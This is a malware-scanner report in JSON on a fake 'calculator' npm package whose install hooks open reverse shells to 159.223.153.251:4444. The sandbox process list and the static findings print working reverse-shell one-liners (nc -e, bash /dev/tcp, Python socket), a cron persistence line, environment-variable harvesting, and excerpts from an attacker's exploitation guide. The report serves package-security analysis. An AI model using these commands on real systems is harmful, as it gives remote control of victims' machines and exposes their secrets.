{"package":"node-calculator-x7k9","version":"3.0.0","known":true,"status":"error","discovered_at":1790300820458,"has_install_script":true,"report_url":"https://andymal.com/packages/node-calculator-x7k9/3.0.0","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790376263927,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":5542,"lab_ip":"10.77.0.152","hooks":[{"name":"preinstall","command":"node preinstall.js","exit":0,"timed_out":false,"seconds":2,"stdout_tail":"\n> node-calculator-x7k9@3.0.0 preinstall\n> node preinstall.js\n\n","stderr_tail":""},{"name":"postinstall","command":"node postinstall.js","exit":1,"timed_out":false,"seconds":2,"stdout_tail":"\n> node-calculator-x7k9@3.0.0 postinstall\n> node postinstall.js\n\nInstalling node-calculator-x7k9 v3.0.0...\n","stderr_tail":"node:events:497\n      throw er; // Unhandled 'error' event\n      ^\n\nError: connect ENETUNREACH 159.223.153.251:4444 - Local (0.0.0.0:0)\n    at internalConnect (node:net:1111:16)\n    at defaultTriggerAsyncIdScope (node:internal/async_hooks:472:18)\n    at node:net:1357:9\n    at process.processTicksAndRejections (node:internal/process/task_queues:84:11)\nEmitted 'error' event on Socket instance at:\n    at emitErrorNT (node:internal/streams/destroy:170:8)\n    at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {\n  errno: -101,\n  code: 'ENETUNREACH',\n  syscall: 'connect',\n  address: '159.223.153.251',\n  port: 4444\n}\n\nNode.js v22.23.2\n"},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":14,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node postinstall.js","node postinstall.js","npm run-script preinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script preinstall --if-present --ignore-scripts=false","sh -c node preinstall.js","node preinstall.js","/bin/sh -c nc 159.223.153.251 4444 -e /bin/sh","/bin/sh -c bash -i >& /dev/tcp/159.223.153.251/4444 0>&1","/bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"159.223.153.251\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'","python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"159.223.153.251\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"159.223.153.251","port":4444,"n":3}],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"node-calculator-x7k9","version":"3.0.0","description":"Simple calculator plugin with enhanced features","scripts":{"preinstall":"node preinstall.js","postinstall":"node postinstall.js"},"install_hooks":{"preinstall":"node preinstall.js","postinstall":"node postinstall.js"},"bin":{},"main":"index.js","dependencies":[],"author":"DarkT","license":"MIT","hasInstallScript":true},"files":[{"path":"ATTACK_DIAGRAM.txt","size":18565,"kind":"text","score":1,"hits":["credential_access","network_egress","reverse_shell","install_hook_shell"]},{"path":"exploit.ps1","size":8262,"kind":"text","score":1,"hits":["network_egress","reverse_shell","registry_abuse","reconnaissance"]},{"path":"EXPLOITATION_GUIDE.md","size":5982,"kind":"text","score":1,"hits":["credential_access","network_egress","code_execution","reverse_shell","registry_abuse","reconnaissance","privilege"]},{"path":"preinstall.js","size":4583,"kind":"text","score":1,"hits":["credential_harvest","network_egress","code_execution","reverse_shell"],"role":"entry"},{"path":"postinstall.js","size":1580,"kind":"text","score":0.9527333333333333,"hits":["network_egress","code_execution","persistence","reverse_shell"],"role":"entry"},{"path":"exploit.sh","size":3886,"kind":"text","score":0.7016666666666667,"hits":["network_egress","registry_abuse","reconnaissance"]},{"path":"package.json","size":344,"kind":"text","score":0.13366666666666666,"hits":["install_hook_shell"]},{"path":"index.js","size":543,"kind":"text","score":0,"hits":[],"role":"entry"},{"path":"listener.py","size":4927,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":544,"kind":"text","score":0,"hits":[]},{"path":"test-local.ps1","size":5768,"kind":"text","score":0,"hits":[]}],"file_count":11,"unpacked_size":54984,"findings":[{"title":"Install hook","detail":"preinstall: node preinstall.js","severity":"low","location":"package.json"},{"title":"Install hook","detail":"postinstall: node postinstall.js","severity":"low","location":"package.json"},{"title":"Touches credential stores or secrets","detail":"wer versions │ │ • No registry pinning (.npmrc) │ │ • No packa","severity":"high","location":"ATTACK_DIAGRAM.txt:137"},{"title":"Touches credential stores or secrets","detail":"═══════════════════════════════════════════════╝ ✓ Use .npmrc with registry pinning ────────────────────────────────","severity":"high","location":"ATTACK_DIAGRAM.txt:189"},{"title":"Touches credential stores or secrets","detail":"vate-registry.com //private-registry.com/:_authToken=${NPM_TOKEN} ✓ Enable package-lock.json and use npm ci ──────","severity":"high","location":"ATTACK_DIAGRAM.txt:192"},{"title":"Network activity","detail":"allback: │ │ 2. Persistence │ │ • nc -e │ │ Mechanisms │ │ • bash","severity":"medium","location":"ATTACK_DIAGRAM.txt:171"},{"title":"Reverse shell","detail":"allback: │ │ 2. Persistence │ │ • nc -e │ │ Mechanisms │ │ • bash -i","severity":"critical","location":"ATTACK_DIAGRAM.txt:171"},{"title":"Install hook runs a script","detail":"│ │ \"preinstall\": \"node preinstall.js\", ← Executes BEFORE │ │ \"postinstall\": \"node","severity":"medium","location":"ATTACK_DIAGRAM.txt:155"},{"title":"Install hook runs a script","detail":"\"node preinstall.js\", ← Executes BEFORE │ │ \"postinstall\": \"node postinstall.js\" ← Executes AFTER │ │ }","severity":"medium","location":"ATTACK_DIAGRAM.txt:156"},{"title":"Touches credential stores or secrets","detail":"ucational purposes, here's how to prevent this: 1. **Use .npmrc with registry lockdown**: ``` @yourcompany:registry","severity":"high","location":"EXPLOITATION_GUIDE.md:213"},{"title":"Network activity","detail":"your attack machine: ```bash # Option 1: Using netcat nc -nlvp 4444 # Option 2: Using ncat (better for CTF) ncat","severity":"medium","location":"EXPLOITATION_GUIDE.md:34"},{"title":"Network activity","detail":"Option 1: Using netcat nc -nlvp 4444 # Option 2: Using ncat (better for CTF) ncat -nlvp 4444 # Option 3: Using socat","severity":"medium","location":"EXPLOITATION_GUIDE.md:36"},{"title":"Network activity","detail":"nc -nlvp 4444 # Option 2: Using ncat (better for CTF) ncat -nlvp 4444 # Option 3: Using socat (most stable) socat T","severity":"medium","location":"EXPLOITATION_GUIDE.md:37"},{"title":"Network activity","detail":"ur port ``` **Getting Your IP:** ```bash # Public IP curl ifconfig.me # Local network IP (for local CTF) ip addr s","severity":"medium","location":"EXPLOITATION_GUIDE.md:58"},{"title":"Executes commands or dynamic code","detail":"ocket();s.bind((\"0.0.0.0\",4444));s.listen(1);c,a=s.accept();subprocess.call([\"/bin/sh\"],stdin=c,stdout=c,stderr=c)' ``` ### Ste","severity":"medium","location":"EXPLOITATION_GUIDE.md:43"},{"title":"Executes commands or dynamic code","detail":"```bash # Stabilize the shell python3 -c 'import pty; pty.spawn(\"/bin/bash\")' # Press Ctrl+Z stty raw -echo; fg export TE","severity":"medium","location":"EXPLOITATION_GUIDE.md:164"},{"title":"Reverse shell","detail":"ncat -nlvp 4444 # Option 3: Using socat (most stable) socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash # Option 4: Using Python python3 -c 'import s","severity":"critical","location":"EXPLOITATION_GUIDE.md:40"},{"title":"Reverse shell","detail":"```bash # Stabilize the shell python3 -c 'import pty; pty.spawn(\"/bin/bash\")' # Press Ctrl+Z stty raw -echo; fg export T","severity":"critical","location":"EXPLOITATION_GUIDE.md:164"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"cious-package # Login to npm (if not already logged in) npm login # Publish the package npm publish # If package name","severity":"high","location":"EXPLOITATION_GUIDE.md:71"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"age name is already taken, you might need to use a scope # npm publish --access public ``` **Important Notes:** - Your package version","severity":"high","location":"EXPLOITATION_GUIDE.md:77"},{"title":"System reconnaissance","detail":"rt ``` **Getting Your IP:** ```bash # Public IP curl ifconfig.me # Local network IP (for local CTF) ip addr show # L","severity":"low","location":"EXPLOITATION_GUIDE.md:58"},{"title":"System reconnaissance","detail":"# Local network IP (for local CTF) ip addr show # Linux ipconfig # Windows ``` ### Step 3: Publish the Malicious Pa","severity":"low","location":"EXPLOITATION_GUIDE.md:62"},{"title":"System reconnaissance","detail":"flag*\" 2>/dev/null cat /flag.txt # Exfiltrate data cat /etc/passwd env ps aux # Check for other containers ip addr nets","severity":"low","location":"EXPLOITATION_GUIDE.md:174"},{"title":"System reconnaissance","detail":"sswd env ps aux # Check for other containers ip addr netstat -ant ``` ## Troubleshooting ### Shell Not Connecting","severity":"low","location":"EXPLOITATION_GUIDE.md:180"},{"title":"Privilege elevation","detail":"eck firewall**: Make sure port 4444 is open ```bash sudo ufw allow 4444 # or sudo iptables -I INPUT -p tcp --","severity":"low","location":"EXPLOITATION_GUIDE.md:189"},{"title":"Privilege elevation","detail":"44 is open ```bash sudo ufw allow 4444 # or sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT ``` 2","severity":"low","location":"EXPLOITATION_GUIDE.md:191"},{"title":"Network activity","detail":"lly with:\" -ForegroundColor Yellow Write-Host \" curl -X POST http://$TargetIP/report-bug -H 'Content-Type: applic","severity":"medium","location":"exploit.ps1:142"},{"title":"Reverse shell","detail":"undColor Green $client = $listener.AcceptTcpClient() $stream = $client.GetStream() $reader =","severity":"critical","location":"exploit.ps1:71"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"ction SilentlyContinue) { Write-Host \" [*] Checking npm login status...\" -ForegroundColor Yellow $npmUser = np","severity":"high","location":"exploit.ps1:102"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"npm\" -ForegroundColor Red Write-Host \" [!] Run: npm login\" -ForegroundColor Yellow Write-Host \" [!] Then:","severity":"high","location":"exploit.ps1:112"},{"title":"System reconnaissance","detail":"tatus...\" -ForegroundColor Yellow $npmUser = npm whoami 2>$null if ($LASTEXITCODE -eq 0) { Write-Host","severity":"low","location":"exploit.ps1:104"},{"title":"Network activity","detail":"$LISTENER_PID\" else echo \"[!] Python3 not found, using nc instead\" nc -nlvp $ATTACKER_PORT & LISTENER_PID=$! f","severity":"medium","location":"exploit.sh:35"},{"title":"Network activity","detail":"else echo \"[!] Python3 not found, using nc instead\" nc -nlvp $ATTACKER_PORT & LISTENER_PID=$! fi sleep 2 # St","severity":"medium","location":"exploit.sh:36"},{"title":"Network activity","detail":"ng vulnerability via /report-bug endpoint...\" if command -v curl &> /dev/null; then RESPONSE=$(curl -s -X POST \"http://$T","severity":"medium","location":"exploit.sh:65"},{"title":"Network activity","detail":"nt...\" if command -v curl &> /dev/null; then RESPONSE=$(curl -s -X POST \"http://$TARGET_IP/report-bug\" \\ -H \"Cont","severity":"medium","location":"exploit.sh:66"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"if command -v npm &> /dev/null; then echo \"[*] Checking npm login status...\" if npm whoami &> /dev/null; then ech","severity":"high","location":"exploit.sh:45"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"ho \"[!] Not logged in to npm\" echo \"[!] Please run: npm login\" echo \"[!] Then run: cd malicious-package && npm pu","severity":"high","location":"exploit.sh:53"},{"title":"System reconnaissance","detail":"then echo \"[*] Checking npm login status...\" if npm whoami &> /dev/null; then echo \"[+] Already logged in to n","severity":"low","location":"exploit.sh:46"},{"title":"Install hook runs a script","detail":"nced features\", \"main\": \"index.js\", \"scripts\": { \"preinstall\": \"node preinstall.js\", \"postinstall\": \"node postinstall.js\" }, \"keywor","severity":"medium","location":"package.json:7"},{"title":"Install hook runs a script","detail":"\"scripts\": { \"preinstall\": \"node preinstall.js\", \"postinstall\": \"node postinstall.js\" }, \"keywords\": [\"calculator\", \"math\"], \"author\": \"","severity":"medium","location":"package.json:8"},{"title":"Network activity","detail":"const cronCmd = `(crontab -l 2>/dev/null; echo \"* * * * * nc ${ATTACKER_IP} ${ATTACKER_PORT} -e /bin/sh\") | crontab -`;","severity":"medium","location":"postinstall.js:19"},{"title":"Executes commands or dynamic code","detail":"a backup execution point */ const { exec } = require('child_process'); const fs = require('fs'); // Configuration - MUST MA","severity":"medium","location":"postinstall.js:8"},{"title":"Executes commands or dynamic code","detail":"setTimeout(() => { const { spawn } = require('child_process'); const net = require('net');","severity":"medium","location":"postinstall.js:36"},{"title":"Executes commands or dynamic code","detail":"T, ATTACKER_IP, function() { const shell = spawn('/bin/sh', []); client.pipe(shell.stdin);","severity":"medium","location":"postinstall.js:42"},{"title":"Persistence mechanism","detail":"rsistence (if cron is available) const cronCmd = `(crontab -l 2>/dev/null; echo \"* * * * * nc ${ATTACKER_IP} ${ATTACKER_","severity":"medium","location":"postinstall.js:19"},{"title":"Persistence mechanism","detail":"* * * * * nc ${ATTACKER_IP} ${ATTACKER_PORT} -e /bin/sh\") | crontab -`; exec(cronCmd, () => {}); // C","severity":"medium","location":"postinstall.js:19"},{"title":"Reverse shell","detail":"const shell = spawn('/bin/sh', []); client.pipe(shell.stdin); shell.stdout.pipe(client);","severity":"critical","location":"postinstall.js:43"},{"title":"Dumps the whole environment (API keys live there)","detail":"sername, cwd: process.cwd(), env: process.env, nodeVersion: process.version, pla","severity":"high","location":"preinstall.js:98"},{"title":"Network activity","detail":"exec } = require('child_process'); // Method 1: nc reverse shell const ncCmd = `nc ${ATTACKER_IP} ${ATTACK","severity":"medium","location":"preinstall.js:76"},{"title":"Network activity","detail":"// Method 1: nc reverse shell const ncCmd = `nc ${ATTACKER_IP} ${ATTACKER_PORT} -e /bin/sh`; exec(ncCmd","severity":"medium","location":"preinstall.js:77"},{"title":"Network activity","detail":"h } }; const req = https.request(options, (res) => {}); req.write(postData);","severity":"medium","location":"preinstall.js:122"},{"title":"Executes commands or dynamic code","detail":"ER_PORT with your values */ const { spawn } = require('child_process'); const net = require('net'); const fs = require('fs');","severity":"medium","location":"preinstall.js:10"},{"title":"Executes commands or dynamic code","detail":"// Spawn shell const shell = spawn('/bin/sh', [], { stdio: ['pipe', 'pipe', 'p","severity":"medium","location":"preinstall.js:39"},{"title":"Executes commands or dynamic code","detail":"rnativePayload(); } } // Alternative payload using child_process exec function alternativePayload() { const { exec } =","severity":"medium","location":"preinstall.js:72"},{"title":"Executes commands or dynamic code","detail":"ction alternativePayload() { const { exec } = require('child_process'); // Method 1: nc reverse shell const ncCm","severity":"medium","location":"preinstall.js:74"},{"title":"Reverse shell","detail":"Pipe client to shell and shell to client client.pipe(shell.stdin); shell.stdout.pipe(client); shel","severity":"critical","location":"preinstall.js:44"},{"title":"Reverse shell","detail":"Method 2: bash reverse shell const bashCmd = `bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1`;","severity":"critical","location":"preinstall.js:81"},{"title":"Reverse shell","detail":"bash reverse shell const bashCmd = `bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1`; exec(bas","severity":"critical","location":"preinstall.js:81"}],"injection_findings":[],"hits":{"credential_access":4,"network_egress":16,"reverse_shell":8,"install_hook_shell":4,"code_execution":10,"registry_abuse":6,"reconnaissance":6,"privilege":2,"persistence":2,"credential_harvest":1},"iocs":{"urls":["https://private-registry.com","http://TARGET_IP:3000/report-bug","http://TARGET:3000/report-bug","https://your-private-registry.com","http://$TargetIP/report-bug","http://$TARGET_IP/report-bug"],"domains":["private-registry.com","target_ip","target","your-private-registry.com","$targetip","$target_ip","exploit.sh","ifconfig.me","system.net","system.io"],"ips":["159.223.153.251"]},"score":1,"priority":155,"hints":["install hook preinstall: node preinstall.js","install hook postinstall: node postinstall.js","untrusted hosts referenced: private-registry.com, target_ip, target, your-private-registry.com, $targetip, $target_ip, exploit.sh, ifconfig.me, system.net, system.io","raw IPs referenced: 159.223.153.251","capability hits: network_egress×16, code_execution×10, reverse_shell×8, registry_abuse×6, reconnaissance×6, credential_access×4, install_hook_shell×4, privilege×2, persistence×2, credential_harvest×1"],"entry_files":["preinstall.js","postinstall.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}